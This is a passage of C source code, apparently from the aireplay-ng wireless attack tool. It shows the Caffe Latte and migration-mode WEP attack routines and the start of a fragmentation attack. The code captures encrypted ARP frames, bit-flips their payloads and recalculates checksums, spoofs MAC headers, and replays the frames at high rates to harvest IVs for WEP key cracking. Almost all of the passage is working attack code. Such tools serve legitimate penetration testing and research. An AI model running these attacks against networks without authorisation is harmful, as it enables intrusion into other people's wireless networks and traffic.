memcpy(tmpbuf, h80211, caplen);
caplen -= n;
memcpy(h80211, tmpbuf + n, caplen);
}
}
nb_pkt_read++;
/* check if it's a disassociation or deauthentication packet */
if ((h80211[0] == 0xC0 || h80211[0] == 0xA0)
&& !memcmp(h80211 + 4, opt.r_smac, 6))
{
nb_bad_pkt++;
if (nb_bad_pkt > 64 && time(NULL) - tc >= 10)
{
erase_line(0);
printf("Notice: got a deauth/disassoc packet. Is the "
"source MAC associated ?\n");
tc = time(NULL);
nb_bad_pkt = 0;
}
}
if (h80211[0] == 0xD4 && !memcmp(h80211 + 4, opt.r_smac, 6))
{
nb_ack_pkt++;
}
/* check if it's a potential ARP request */
opt.f_minlen = opt.f_maxlen = 68;
if (filter_packet(h80211, caplen) == 0) goto add_arp;
opt.f_minlen = opt.f_maxlen = 86;
if (filter_packet(h80211, caplen) == 0)
{
add_arp:
z = ((h80211[1] & 3) != 3) ? 24 : 30;
if ((h80211[0] & 0x80) == 0x80) /* QoS */
z += 2;
switch (h80211[1] & 3)
{
case 1: /* ToDS */
{
/* keep as a ToDS packet */
memcpy(h80211 + 4, opt.f_bssid, 6);
memcpy(h80211 + 10, opt.r_smac, 6);
memcpy(h80211 + 16, opt.f_dmac, 6);
h80211[1] = 0x41; /* ToDS & WEP */
}
break;
case 2: /* FromDS */
{
if (opt.r_fromdsinj)
{
/* keep as a FromDS packet */
memcpy(h80211 + 4, opt.f_dmac, 6);
memcpy(h80211 + 10, opt.f_bssid, 6);
memcpy(h80211 + 16, opt.r_smac, 6);
h80211[1] = 0x42; /* FromDS & WEP */
}
else
{
/* rewrite header to make it a ToDS packet */
memcpy(h80211 + 4, opt.f_bssid, 6);
memcpy(h80211 + 10, opt.r_smac, 6);
memcpy(h80211 + 16, opt.f_dmac, 6);
h80211[1] = 0x41; /* ToDS & WEP */
}
}
break;
}
// should be correct already, keep qos/wds status
// h80211[0] = 0x08; /* normal data */
/* if same IV, perhaps our own packet, skip it */
for (i = 0; i < nb_arp; i++)
{
if (memcmp(h80211 + z, arp[i].buf + arp[i].hdrlen, 4) == 0)
break;
}
if (i < nb_arp) continue;
if (caplen > 128) continue;
/* add the ARP request in the ring buffer */
nb_arp_tot++;
/* Ring buffer size: by default: 8 ) */
if (nb_arp >= opt.ringbuffer && opt.ringbuffer > 0)
{
/* no more room, overwrite oldest entry */
memcpy(arp[arp_off2].buf, h80211, caplen);
arp[arp_off2].len = caplen;
arp[arp_off2].hdrlen = z;
if (++arp_off2 >= nb_arp) arp_off2 = 0;
}
else if (nb_arp >= MAX_ARP_SLOTS && !opt.ringbuffer)
continue;
else
{
if ((arp[nb_arp].buf = malloc(128)) == NULL)
{
perror("malloc failed");
free(arp);
fclose(f_cap_out);
return (EXIT_FAILURE);
}
memcpy(arp[nb_arp].buf, h80211, caplen);
arp[nb_arp].len = caplen;
arp[nb_arp].hdrlen = z;
nb_arp++;
pkh.tv_sec = tv.tv_sec;
pkh.tv_usec = tv.tv_usec;
pkh.caplen = caplen;
pkh.len = caplen;
n = sizeof(pkh);
if (fwrite(&pkh, n, 1, f_cap_out) != 1)
{
perror("fwrite failed");
free(arp);
fclose(f_cap_out);
return (EXIT_FAILURE);
}
n = pkh.caplen;
if (fwrite(h80211, n, 1, f_cap_out) != 1)
{
perror("fwrite failed");
free(arp);
fclose(f_cap_out);
return (EXIT_FAILURE);
}
fflush(f_cap_out);
}
}
}
return (EXIT_SUCCESS);
}
static int do_attack_caffe_latte(void)
{
int nb_bad_pkt;
int arp_off1;
int i, n, caplen, nb_arp, z;
long nb_pkt_read, nb_arp_tot, nb_ack_pkt;
unsigned char flip[4096];
time_t tc;
float f, ticks[3];
struct timeval tv;
struct timeval tv2;
struct tm * lt;
FILE * f_cap_out;
struct pcap_file_header pfh_out;
struct pcap_pkthdr pkh;
struct ARP_req * arp;
/* capture only WEP data to broadcast address */
opt.f_type = 2;
opt.f_subtype = 0;
opt.f_iswep = 1;
opt.f_fromds = 0;
if (getnet(_wi_in,
NULL,
1,
1,
opt.f_bssid,
opt.r_bssid,
(uint8_t *) opt.r_essid,
opt.ignore_negative_one,
opt.nodetect)
!= 0)
return (EXIT_FAILURE);
if (memcmp(opt.f_bssid, NULL_MAC, 6) == 0)
{
printf("Please specify a BSSID (-b).\n");
return (1);
}
/* create and write the output pcap header */
gettimeofday(&tv, NULL);
pfh_out.magic = TCPDUMP_MAGIC;
pfh_out.version_major = PCAP_VERSION_MAJOR;
pfh_out.version_minor = PCAP_VERSION_MINOR;
pfh_out.thiszone = 0;
pfh_out.sigfigs = 0;
pfh_out.snaplen = 65535;
pfh_out.linktype = LINKTYPE_IEEE802_11;
lt = localtime((const time_t *) &tv.tv_sec);
REQUIRE(lt != NULL);
memset(strbuf, 0, sizeof(strbuf));
snprintf(strbuf,
sizeof(strbuf) - 1,
"replay_arp-%02d%02d-%02d%02d%02d.cap",
lt->tm_mon + 1,
lt->tm_mday,
lt->tm_hour,
lt->tm_min,
lt->tm_sec);
printf("Saving ARP requests in %s\n", strbuf);
if ((f_cap_out = fopen(strbuf, "wb+")) == NULL)
{
perror("fopen failed");
return (1);
}
n = sizeof(struct pcap_file_header);
if (fwrite(&pfh_out, n, 1, f_cap_out) != 1)
{
perror("fwrite failed\n");
fclose(f_cap_out);
return (1);
}
fflush(f_cap_out);
printf("You should also start airodump-ng to capture replies.\n");
if (opt.port_in <= 0)
{
/* avoid blocking on reading the socket */
if (fcntl(dev.fd_in, F_SETFL, O_NONBLOCK) < 0)
{
perror("fcntl(O_NONBLOCK) failed");
fclose(f_cap_out);
return (1);
}
}
if (opt.ringbuffer)
arp = (struct ARP_req *) malloc(opt.ringbuffer
* sizeof(struct ARP_req));
else
arp = (struct ARP_req *) malloc(sizeof(struct ARP_req) * MAX_ARP_SLOTS);
ALLEGE(arp != NULL);
memset(ticks, 0, sizeof(ticks));
tc = time(NULL) - 11;
nb_pkt_read = 0;
nb_bad_pkt = 0;
nb_ack_pkt = 0;
nb_arp = 0;
nb_arp_tot = 0;
arp_off1 = 0;
while (1)
{
/* sleep until the next clock tick */
if (dev.fd_rtc >= 0)
{
IGNORE_LTZ(read(dev.fd_rtc, &n, sizeof(n)));
ticks[0]++;
ticks[1]++;
ticks[2]++;
}
else
{
gettimeofday(&tv, NULL);
usleep(1000000 / RTC_RESOLUTION);
gettimeofday(&tv2, NULL);
f = 1000000 * (float) (tv2.tv_sec - tv.tv_sec)
+ (float) (tv2.tv_usec - tv.tv_usec);
ticks[0] += f / (1000000.f / RTC_RESOLUTION);
ticks[1] += f / (1000000.f / RTC_RESOLUTION);
ticks[2] += f / (1000000.f / RTC_RESOLUTION);
}
if (ticks[1] > (RTC_RESOLUTION / 10.f))
{
ticks[1] = 0;
printf("\rRead %ld packets (%ld ARPs, %ld ACKs), "
"sent %lu packets...(%d pps)\r",
nb_pkt_read,
nb_arp_tot,
nb_ack_pkt,
nb_pkt_sent,
(int) ((double) nb_pkt_sent
/ ((double) ticks[0] / (double) RTC_RESOLUTION)));
fflush(stdout);
}
if ((ticks[2] * opt.r_nbpps) / RTC_RESOLUTION >= 1)
{
/* threshold reach, send one frame */
ticks[2] = 0;
if (nb_arp > 0)
{
if (nb_pkt_sent == 0) ticks[0] = 0;
if (send_packet(_wi_out,
arp[arp_off1].buf,
(size_t) arp[arp_off1].len,
kRewriteSequenceNumber)
< 0)
{
free(arp);
fclose(f_cap_out);
return (1);
}
if (((double) ticks[0] / (double) RTC_RESOLUTION)
* (double) opt.r_nbpps
> (double) nb_pkt_sent)
{
if (send_packet(_wi_out,
arp[arp_off1].buf,
(size_t) arp[arp_off1].len,
kRewriteSequenceNumber)
< 0)
{
free(arp);
fclose(f_cap_out);
return (1);
}
}
if (++arp_off1 >= nb_arp) arp_off1 = 0;
}
}
/* read a frame, and check if it's an ARP request */
if (opt.s_file == NULL)
{
gettimeofday(&tv, NULL);
caplen = read_packet(_wi_in, h80211, sizeof(h80211), NULL);
if (caplen < 0)
{
free(arp);
fclose(f_cap_out);
return (1);
}
if (caplen == 0) continue;
}
else
{
n = sizeof(pkh);
if (fread(&pkh, n, 1, dev.f_cap_in) != 1)
{
opt.s_file = NULL;
continue;
}
if (dev.pfh_in.magic == TCPDUMP_CIGAM)
{
SWAP32(pkh.caplen);
SWAP32(pkh.len);
}
tv.tv_sec = pkh.tv_sec;
tv.tv_usec = pkh.tv_usec;
n = caplen = pkh.caplen;
if (n <= 0 || n > (int) sizeof(h80211) || n > (int) sizeof(tmpbuf))
{
printf("\r");
erase_line(0);
printf("Invalid packet length %d.\n", n);
opt.s_file = NULL;
continue;
}
if (fread(h80211, n, 1, dev.f_cap_in) != 1)
{
opt.s_file = NULL;
continue;
}
if (dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER)
{
/* remove the prism header */
if (h80211[7] == 0x40)
n = 64;
else
n = *(int *) (h80211 + 4); //-V1032
if (n < 8 || n >= (int) caplen) continue;
memcpy(tmpbuf, h80211, caplen);
caplen -= n;
memcpy(h80211, tmpbuf + n, caplen);
}
if (dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR)
{
/* remove the radiotap header */
n = *(unsigned short *) (h80211 + 2);
if (n <= 0 || n >= (int) caplen) continue;
memcpy(tmpbuf, h80211, caplen);
caplen -= n;
memcpy(h80211, tmpbuf + n, caplen);
}
if (dev.pfh_in.linktype == LINKTYPE_PPI_HDR)
{
/* remove the PPI header */
n = le16_to_cpu(*(unsigned short *) (h80211 + 2));
if (n <= 0 || n >= (int) caplen) continue;
/* for a while Kismet logged broken PPI headers */
if (n == 24
&& le16_to_cpu(*(unsigned short *) (h80211 + 8)) == 2)
n = 32;
memcpy(tmpbuf, h80211, caplen);
caplen -= n;
memcpy(h80211, tmpbuf + n, caplen);
}
}
nb_pkt_read++;
/* check if it's a disas. or deauth packet */
if ((h80211[0] == 0xC0 || h80211[0] == 0xA0)
&& !memcmp(h80211 + 4, opt.r_smac, 6))
{
nb_bad_pkt++;
if (nb_bad_pkt > 64 && time(NULL) - tc >= 10)
{
erase_line(0);
printf("Notice: got a deauth/disassoc packet. Is the "
"source MAC associated ?\n");
tc = time(NULL);
nb_bad_pkt = 0;
}
}
if (h80211[0] == 0xD4 && !memcmp(h80211 + 4, opt.f_bssid, 6))
{
nb_ack_pkt++;
}
/* check if it's a potential ARP request */
opt.f_minlen = opt.f_maxlen = 68;
if (filter_packet(h80211, caplen) == 0) goto add_arp;
opt.f_minlen = opt.f_maxlen = 86;
if (filter_packet(h80211, caplen) == 0)
{
add_arp:
z = ((h80211[1] & 3) != 3) ? 24 : 30;
if ((h80211[0] & 0x80) == 0x80) /* QoS */
z += 2;
switch (h80211[1] & 3)
{
case 0: /* ad-hoc */
{
if (memcmp(h80211 + 16, BROADCAST, 6) == 0)
{
/* rewrite to an ad-hoc packet */
memcpy(h80211 + 4, BROADCAST, 6);
memcpy(h80211 + 10, opt.r_smac, 6);
memcpy(h80211 + 16, opt.f_bssid, 6);
h80211[1] = 0x40; /* WEP */
}
else
{
nb_arp_tot++;
continue;
}
break;
}
case 1: /* ToDS */
{
if (memcmp(h80211 + 16, BROADCAST, 6) == 0)
{
/* rewrite to a FromDS packet */
memcpy(h80211 + 4, BROADCAST, 6);
memcpy(h80211 + 10, opt.f_bssid, 6);
memcpy(h80211 + 16, opt.f_bssid, 6);
h80211[1] = 0x42; /* ToDS & WEP */
}
else
{
nb_arp_tot++;
continue;
}
break;
}
default:
continue;
}
// h80211[0] = 0x08; /* normal data */
/* if same IV, perhaps our own packet, skip it */
for (i = 0; i < nb_arp; i++)
{
if (memcmp(h80211 + z, arp[i].buf + arp[i].hdrlen, 4) == 0)
break;
}
if (i < nb_arp) continue;
if (caplen > 128) continue;
/* add the ARP request in the ring buffer */
nb_arp_tot++;
/* Ring buffer size: by default: 8 ) */
if (nb_arp >= opt.ringbuffer && opt.ringbuffer > 0)
continue;
else if (nb_arp >= MAX_ARP_SLOTS && !opt.ringbuffer)
continue;
else
{
if ((arp[nb_arp].buf = malloc(128)) == NULL)
{
perror("malloc failed");
free(arp);
fclose(f_cap_out);
return (1);
}
memset(flip, 0, 4096);
// flip[49-24-4] ^= ((rand() % 255)+1); //flip
// random bits in last byte of sender MAC
// flip[53-24-4] ^= ((rand() % 255)+1); //flip
// random bits in last byte of sender IP
flip[z + 21]
^= (rand_u8()
+ 1); // flip random bits in last byte of sender MAC
flip[z + 25]
^= (rand_u8()
+ 1); // flip random bits in last byte of sender IP
add_crc32_plain(flip, caplen - z - 4 - 4);
for (i = 0; i < caplen - z - 4; i++)
(h80211 + z + 4)[i] ^= flip[i];
memcpy(arp[nb_arp].buf, h80211, caplen);
arp[nb_arp].len = caplen;
arp[nb_arp].hdrlen = z;
nb_arp++;
pkh.tv_sec = tv.tv_sec;
pkh.tv_usec = tv.tv_usec;
pkh.caplen = caplen;
pkh.len = caplen;
n = sizeof(pkh);
if (fwrite(&pkh, n, 1, f_cap_out) != 1)
{
perror("fwrite failed");
free(arp);
fclose(f_cap_out);
return (1);
}
n = pkh.caplen;
if (fwrite(h80211, n, 1, f_cap_out) != 1)
{
perror("fwrite failed");
free(arp);
fclose(f_cap_out);
return (1);
}
fflush(f_cap_out);
}
}
}
fclose(f_cap_out);
return (0);
}
static int do_attack_migmode(void)
{
int nb_bad_pkt;
int arp_off1;
int i, n, caplen, nb_arp, z;
long nb_pkt_read, nb_arp_tot, nb_ack_pkt;
unsigned char flip[4096];
unsigned char senderMAC[6];
time_t tc;
float f, ticks[3];
struct timeval tv;
struct timeval tv2;
struct tm * lt;
FILE * f_cap_out;
struct pcap_file_header pfh_out;
struct pcap_pkthdr pkh;
struct ARP_req * arp;
if (opt.ringbuffer)
arp = (struct ARP_req *) malloc(opt.ringbuffer
* sizeof(struct ARP_req));
else
arp = (struct ARP_req *) malloc(sizeof(struct ARP_req) * MAX_ARP_SLOTS);
if (arp == NULL) return 1;
/* capture only WEP data to broadcast address */
opt.f_type = 2;
opt.f_subtype = 0;
opt.f_iswep = 1;
opt.f_fromds = 1;
if (getnet(_wi_in,
NULL,
1,
1,
opt.f_bssid,
opt.r_bssid,
(uint8_t *) opt.r_essid,
opt.ignore_negative_one,
opt.nodetect)
!= 0)
{
free(arp);
return 1;
}
if (memcmp(opt.f_bssid, NULL_MAC, 6) == 0)
{
printf("Please specify a BSSID (-b).\n");
free(arp);
return (1);
}
/* create and write the output pcap header */
gettimeofday(&tv, NULL);
pfh_out.magic = TCPDUMP_MAGIC;
pfh_out.version_major = PCAP_VERSION_MAJOR;
pfh_out.version_minor = PCAP_VERSION_MINOR;
pfh_out.thiszone = 0;
pfh_out.sigfigs = 0;
pfh_out.snaplen = 65535;
pfh_out.linktype = LINKTYPE_IEEE802_11;
lt = localtime((const time_t *) &tv.tv_sec);
REQUIRE(lt != NULL);
memset(strbuf, 0, sizeof(strbuf));
snprintf(strbuf,
sizeof(strbuf) - 1,
"replay_arp-%02d%02d-%02d%02d%02d.cap",
lt->tm_mon + 1,
lt->tm_mday,
lt->tm_hour,
lt->tm_min,
lt->tm_sec);
printf("Saving ARP requests in %s\n", strbuf);
if ((f_cap_out = fopen(strbuf, "wb+")) == NULL)
{
perror("fopen failed");
free(arp);
return (1);
}
n = sizeof(struct pcap_file_header);
if (fwrite(&pfh_out, n, 1, f_cap_out) != 1)
{
perror("fwrite failed\n");
free(arp);
fclose(f_cap_out);
return (1);
}
fflush(f_cap_out);
printf("You should also start airodump-ng to capture replies.\n");
printf("Remember to filter the capture to only keep WEP frames: ");
printf(" \"tshark -R 'wlan.wep.iv' -r capture.cap -w outcapture.cap\"\n");
// printf( "Remember to filter the capture to keep only broadcast From-DS
// frames.\n");
if (opt.port_in <= 0)
{
/* avoid blocking on reading the socket */
if (fcntl(dev.fd_in, F_SETFL, O_NONBLOCK) < 0)
{
perror("fcntl(O_NONBLOCK) failed");
free(arp);
fclose(f_cap_out);
return (1);
}
}
memset(ticks, 0, sizeof(ticks));
tc = time(NULL) - 11;
nb_pkt_read = 0;
nb_bad_pkt = 0;
nb_ack_pkt = 0;
nb_arp = 0;
nb_arp_tot = 0;
arp_off1 = 0;
while (1)
{
/* sleep until the next clock tick */
if (dev.fd_rtc >= 0)
{
IGNORE_LTZ(read(dev.fd_rtc, &n, sizeof(n)));
ticks[0]++;
ticks[1]++;
ticks[2]++;
}
else
{
gettimeofday(&tv, NULL);
usleep(1000000 / RTC_RESOLUTION);
gettimeofday(&tv2, NULL);
f = 1000000.f * (float) (tv2.tv_sec - tv.tv_sec)
+ (float) (tv2.tv_usec - tv.tv_usec);
ticks[0] += f / (1000000.f / RTC_RESOLUTION);
ticks[1] += f / (1000000.f / RTC_RESOLUTION);
ticks[2] += f / (1000000.f / RTC_RESOLUTION);
}
if (ticks[1] > (RTC_RESOLUTION / 10.f))
{
ticks[1] = 0;
printf("\rRead %ld packets (%ld ARPs, %ld ACKs), "
"sent %lu packets...(%d pps)\r",
nb_pkt_read,
nb_arp_tot,
nb_ack_pkt,
nb_pkt_sent,
(int) ((double) nb_pkt_sent
/ ((double) ticks[0] / (double) RTC_RESOLUTION)));
fflush(stdout);
}
if ((ticks[2] * opt.r_nbpps) / RTC_RESOLUTION >= 1)
{
/* threshold reach, send one frame */
ticks[2] = 0;
if (nb_arp > 0)
{
if (nb_pkt_sent == 0) ticks[0] = 0;
if (send_packet(_wi_out,
arp[arp_off1].buf,
(size_t) arp[arp_off1].len,
kRewriteSequenceNumber)
< 0)
{
free(arp);
fclose(f_cap_out);
return (1);
}
if (((double) ticks[0] / (double) RTC_RESOLUTION)
* (double) opt.r_nbpps
> (double) nb_pkt_sent)
{
if (send_packet(_wi_out,
arp[arp_off1].buf,
(size_t) arp[arp_off1].len,
kRewriteSequenceNumber)
< 0)
{
free(arp);
fclose(f_cap_out);
return (1);
}
}
if (++arp_off1 >= nb_arp) arp_off1 = 0;
}
}
/* read a frame, and check if it's an ARP request */
if (opt.s_file == NULL)
{
gettimeofday(&tv, NULL);
caplen = read_packet(_wi_in, h80211, sizeof(h80211), NULL);
if (caplen < 0)
{
free(arp);
fclose(f_cap_out);
return (1);
}
if (caplen == 0) continue;
}
else
{
n = sizeof(pkh);
if (fread(&pkh, n, 1, dev.f_cap_in) != 1)
{
opt.s_file = NULL;
continue;
}
if (dev.pfh_in.magic == TCPDUMP_CIGAM)
{
SWAP32(pkh.caplen);
SWAP32(pkh.len);
}
tv.tv_sec = pkh.tv_sec;
tv.tv_usec = pkh.tv_usec;
n = caplen = pkh.caplen;
if (n <= 0 || n > (int) sizeof(h80211) || n > (int) sizeof(tmpbuf))
{
printf("\r");
erase_line(0);
printf("Invalid packet length %d.\n", n);
opt.s_file = NULL;
continue;
}
if (fread(h80211, n, 1, dev.f_cap_in) != 1)
{
opt.s_file = NULL;
continue;
}
if (dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER)
{
/* remove the prism header */
if (h80211[7] == 0x40)
n = 64;
else
n = *(int *) (h80211 + 4); //-V1032
if (n < 8 || n >= (int) caplen) continue;
memcpy(tmpbuf, h80211, caplen);
caplen -= n;
memcpy(h80211, tmpbuf + n, caplen);
}
if (dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR)
{
/* remove the radiotap header */
n = *(unsigned short *) (h80211 + 2);
if (n <= 0 || n >= (int) caplen) continue;
memcpy(tmpbuf, h80211, caplen);
caplen -= n;
memcpy(h80211, tmpbuf + n, caplen);
}
if (dev.pfh_in.linktype == LINKTYPE_PPI_HDR)
{
/* remove the PPI header */
n = le16_to_cpu(*(unsigned short *) (h80211 + 2));
if (n <= 0 || n >= (int) caplen) continue;
/* for a while Kismet logged broken PPI headers */
if (n == 24
&& le16_to_cpu(*(unsigned short *) (h80211 + 8)) == 2)
n = 32;
memcpy(tmpbuf, h80211, caplen);
caplen -= n;
memcpy(h80211, tmpbuf + n, caplen);
}
}
nb_pkt_read++;
/* check if it's a disas. or deauth packet */
if ((h80211[0] == 0xC0 || h80211[0] == 0xA0)
&& !memcmp(h80211 + 4, opt.r_smac, 6))
{
nb_bad_pkt++;
if (nb_bad_pkt > 64 && time(NULL) - tc >= 10)
{
erase_line(0);
printf("Notice: got a deauth/disassoc packet. Is the "
"source MAC associated ?\n");
tc = time(NULL);
nb_bad_pkt = 0;
}
}
if (h80211[0] == 0xD4 && !memcmp(h80211 + 4, opt.f_bssid, 6))
{
nb_ack_pkt++;
}
/* check if it's a potential ARP request */
opt.f_minlen = opt.f_maxlen = 68;
if (filter_packet(h80211, caplen) == 0) goto add_arp;
opt.f_minlen = opt.f_maxlen = 86;
if (filter_packet(h80211, caplen) == 0)
{
add_arp:
z = ((h80211[1] & 3) != 3) ? 24 : 30;
if ((h80211[0] & 0x80) == 0x80) /* QoS */
z += 2;
switch (h80211[1] & 3)
{
case 2: /* FromDS */
{
if (memcmp(h80211 + 4, BROADCAST, 6) == 0)
{
/* backup sender MAC */
memset(senderMAC, 0, 6);
memcpy(senderMAC, h80211 + 16, 6);
/* rewrite to a ToDS packet */
memcpy(h80211 + 4, opt.f_bssid, 6);
memcpy(h80211 + 10, opt.r_smac, 6);
memcpy(h80211 + 16, BROADCAST, 6);
h80211[1] = 0x41; /* ToDS & WEP */
}
else
{
nb_arp_tot++;
continue;
}
break;
}
default:
continue;
}
// h80211[0] = 0x08; /* normal data */
/* if same IV, perhaps our own packet, skip it */
for (i = 0; i < nb_arp; i++)
{
if (memcmp(h80211 + z, arp[i].buf + arp[i].hdrlen, 4) == 0)
break;
}
if (i < nb_arp) continue;
if (caplen > 128) continue;
/* add the ARP request in the ring buffer */
nb_arp_tot++;
/* Ring buffer size: by default: 8 ) */
if (nb_arp >= opt.ringbuffer && opt.ringbuffer > 0)
continue;
else if (nb_arp >= MAX_ARP_SLOTS && !opt.ringbuffer)
continue;
else
{
if ((arp[nb_arp].buf = malloc(128)) == NULL)
{
perror("malloc failed");
free(arp);
fclose(f_cap_out);
return (1);
}
memset(flip, 0, 4096);
/* flip the sender MAC to convert it into the source MAC */
flip[16] ^= (opt.r_smac[0] ^ senderMAC[0]);
flip[17] ^= (opt.r_smac[1] ^ senderMAC[1]);
flip[18] ^= (opt.r_smac[2] ^ senderMAC[2]);
flip[19] ^= (opt.r_smac[3] ^ senderMAC[3]);
flip[20] ^= (opt.r_smac[4] ^ senderMAC[4]);
flip[21] ^= (opt.r_smac[5] ^ senderMAC[5]);
flip[25] ^= (rand_u8()
+ 1); // flip random bits in last byte of sender IP
add_crc32_plain(flip, caplen - z - 4 - 4);
for (i = 0; i < caplen - z - 4; i++)
{
(h80211 + z + 4)[i] ^= flip[i];
}
memcpy(arp[nb_arp].buf, h80211, caplen);
arp[nb_arp].len = caplen;
arp[nb_arp].hdrlen = z;
nb_arp++;
pkh.tv_sec = tv.tv_sec;
pkh.tv_usec = tv.tv_usec;
pkh.caplen = caplen;
pkh.len = caplen;
n = sizeof(pkh);
if (fwrite(&pkh, n, 1, f_cap_out) != 1)
{
perror("fwrite failed");
free(arp);
fclose(f_cap_out);
return (1);
}
n = pkh.caplen;
if (fwrite(h80211, n, 1, f_cap_out) != 1)
{
perror("fwrite failed");
free(arp);
fclose(f_cap_out);
return (1);
}
fflush(f_cap_out);
}
}
}
return (0);
}
static int do_attack_cfrag(void)
{
int caplen, n;
struct timeval tv;
struct timeval tv2;
float f, ticks[3];
unsigned char bssid[6];
unsigned char smac[6];
unsigned char dmac[6];
unsigned char keystream[128];
unsigned char frag1[128], frag2[128], frag3[128];
unsigned char clear[4096], final[4096], flip[4096];
int isarp;
int z, i;
opt.f_fromds = 0;
read_packets:
if (capture_ask_packet(&caplen, 0) != 0) return (1);
z = ((h80211[1] & 3) != 3) ? 24 : 30;
if ((h80211[0] & 0x80) == 0x80) /* QoS */
z += 2;
if (caplen < z)
{
goto read_packets;
}
if (caplen > 3800)
{
goto read_packets;
}
switch (h80211[1] & 3)
{
case 0:
memcpy(bssid, h80211 + 16, 6);
memcpy(dmac, h80211 + 4, 6);
memcpy(smac, h80211 + 10, 6);
break;
case 1:
memcpy(bssid, h80211 + 4, 6);
memcpy(dmac, h80211 + 16, 6);
memcpy(smac, h80211 + 10, 6);
break;
case 2:
memcpy(bssid, h80211 + 10, 6);
memcpy(dmac, h80211 + 4, 6);
memcpy(smac, h80211 + 16, 6);
break;
default:
memcpy(bssid, h80211 + 10, 6);
memcpy(dmac, h80211 + 16, 6);
memcpy(smac, h80211 + 24, 6);
break;
}
memset(clear, 0, 4096);
memset(final, 0, 4096);
memset(flip, 0, 4096);
memset(frag1, 0, 128);
memset(frag2, 0, 128);
memset(frag3, 0, 128);
memset(keystream, 0, 128);
/* check if it's a potential ARP request */
// its length 68-24 or 86-24 and going to broadcast or a unicast mac (even
// first byte)
if ((caplen - z == 68 - 24 || caplen - z == 86 - 24)
&& (memcmp(dmac, BROADCAST, 6) == 0 || (dmac[0] % 2) == 0))
{
/* process ARP */
printf("Found ARP packet\n");
isarp = 1;
// build the new packet
set_clear_arp(clear, smac, dmac);
set_final_arp(final, opt.r_smac);
for (i = 0; i < 14; i++) keystream[i] = (h80211 + z + 4)[i] ^ clear[i];
// correct 80211 header
// h80211[0] = 0x08; //data
if ((h80211[1] & 3) == 0x00) // ad-hoc
{
h80211[1] = 0x40; // wep
memcpy(h80211 + 4, smac, 6);
memcpy(h80211 + 10, opt.r_smac, 6);
memcpy(h80211 + 16, bssid, 6);
}
else // tods
{
if (opt.f_tods == 1)
{
h80211[1] = 0x41; // wep+ToDS
memcpy(h80211 + 4, bssid, 6);
memcpy(h80211 + 10, opt.r_smac, 6);
memcpy(h80211 + 16, smac, 6);
}
else
{
h80211[1] = 0x42; // wep+FromDS
memcpy(h80211 + 4, smac, 6);
memcpy(h80211 + 10, bssid, 6);
memcpy(h80211 + 16, opt.r_smac, 6);
}
}
h80211[22] = 0xD0; // frag = 0;
h80211[23] = 0x50;
// need to shift by 10 bytes; (add 1 frag in front)
memcpy(frag1, h80211, z + 4); // copy 80211 header and IV
frag1[1] |= 0x04; // more frags
memcpy(frag1 + z + 4, S_LLC_SNAP_ARP, 8);
frag1[z + 4 + 8] = 0x00;
frag1[z + 4 + 9] = 0x01; // ethernet
add_crc32(frag1 + z + 4, 10);
for (i = 0; i < 14; i++) (frag1 + z + 4)[i] ^= keystream[i];
/* frag1 finished */
for (i = 0; i < caplen; i++) flip[i] = clear[i] ^ final[i];
add_crc32_plain(flip, caplen - z - 4 - 4);
for (i = 0; i < caplen - z - 4; i++) (h80211 + z + 4)[i] ^= flip[i];
h80211[22] = 0xD1; // frag = 1;
// ready to send frag1 / len=z+4+10+4 and h80211 / len = caplen
}
else
{
/* process IP */
printf("Found IP packet\n");
isarp = 0;
// build the new packet
set_clear_ip(
clear,
caplen - z - 4 - 8
- 4); // caplen - ieee80211header - IVIDX - LLC/SNAP - ICV
set_final_ip(final, opt.r_smac);
for (i = 0; i < 8; i++) keystream[i] = (h80211 + z + 4)[i] ^ clear[i];
// correct 80211 header
// h80211[0] = 0x08; //data
if ((h80211[1] & 3) == 0x00) // ad-hoc
{
h80211[1] = 0x40; // wep
memcpy(h80211 + 4, smac, 6);
memcpy(h80211 + 10, opt.r_smac, 6);
memcpy(h80211 + 16, bssid, 6);
}
else
{
if (opt.f_tods == 1)
{
h80211[1] = 0x41; // wep+ToDS
memcpy(h80211 + 4, bssid, 6);
memcpy(h80211 + 10, opt.r_smac, 6);
memcpy(h80211 + 16, smac, 6);
}
else
{
h80211[1] = 0x42; // wep+FromDS
memcpy(h80211 + 4, smac, 6);
memcpy(h80211 + 10, bssid, 6);
memcpy(h80211 + 16, opt.r_smac, 6);
}
}
h80211[22] = 0xD0; // frag = 0;
h80211[23] = 0x50;
// need to shift by 12 bytes;(add 3 frags in front)
memcpy(frag1, h80211, z + 4); // copy 80211 header and IV
memcpy(frag2, h80211, z + 4); // copy 80211 header and IV
memcpy(frag3, h80211, z + 4); // copy 80211 header and IV
frag1[1] |= 0x04; // more frags
frag2[1] |= 0x04; // more frags
frag3[1] |= 0x04; // more frags
memcpy(frag1 + z + 4, S_LLC_SNAP_ARP, 4); //-V512
add_crc32(frag1 + z + 4, 4);
for (i = 0; i < 8; i++) (frag1 + z + 4)[i] ^= keystream[i];
memcpy(frag2 + z + 4, S_LLC_SNAP_ARP + 4, 4);
add_crc32(frag2 + z + 4, 4);
for (i = 0; i < 8; i++) (frag2 + z + 4)[i] ^= keystream[i];
frag2[22] = 0xD1; // frag = 1;
frag3[z + 4 + 0] = 0x00; //-V525
frag3[z + 4 + 1] = 0x01; // ether
frag3[z + 4 + 2] = 0x08; // IP
frag3[z + 4 + 3] = 0x00;
add_crc32(frag3 + z + 4, 4);
for (i = 0; i < 8; i++) (frag3 + z + 4)[i] ^= keystream[i];
frag3[22] = 0xD2; // frag = 2;
/* frag1,2,3 finished */
for (i = 0; i < caplen; i++) flip[i] = clear[i] ^ final[i];
add_crc32_plain(flip, caplen - z - 4 - 4);
for (i = 0; i < caplen - z - 4; i++) (h80211 + z + 4)[i] ^= flip[i];
h80211[22] = 0xD3; // frag = 3;
// ready to send frag1,2,3 / len=z+4+4+4 and h80211 / len = caplen
}
/* loop resending the packet */
/* Check if airodump-ng is running. If not, print that message */
printf("You should also start airodump-ng to capture replies.\n\n");
signal(SIGINT, sighandler);
ctrl_c = 0;
memset(ticks, 0, sizeof(ticks));
nb_pkt_sent = 0;
while (1)
{
if (ctrl_c) goto read_packets;
/* wait for the next timer interrupt, or sleep */
if (dev.fd_rtc >= 0)
{
IGNORE_LTZ(read(dev.fd_rtc, &n, sizeof(n)));
ticks[0]++;
ticks[1]++;
ticks[2]++;
}
else
{
/* we can't trust usleep, since it depends on the HZ */
gettimeofday(&tv, NULL);
usleep(1000000 / RTC_RESOLUTION);
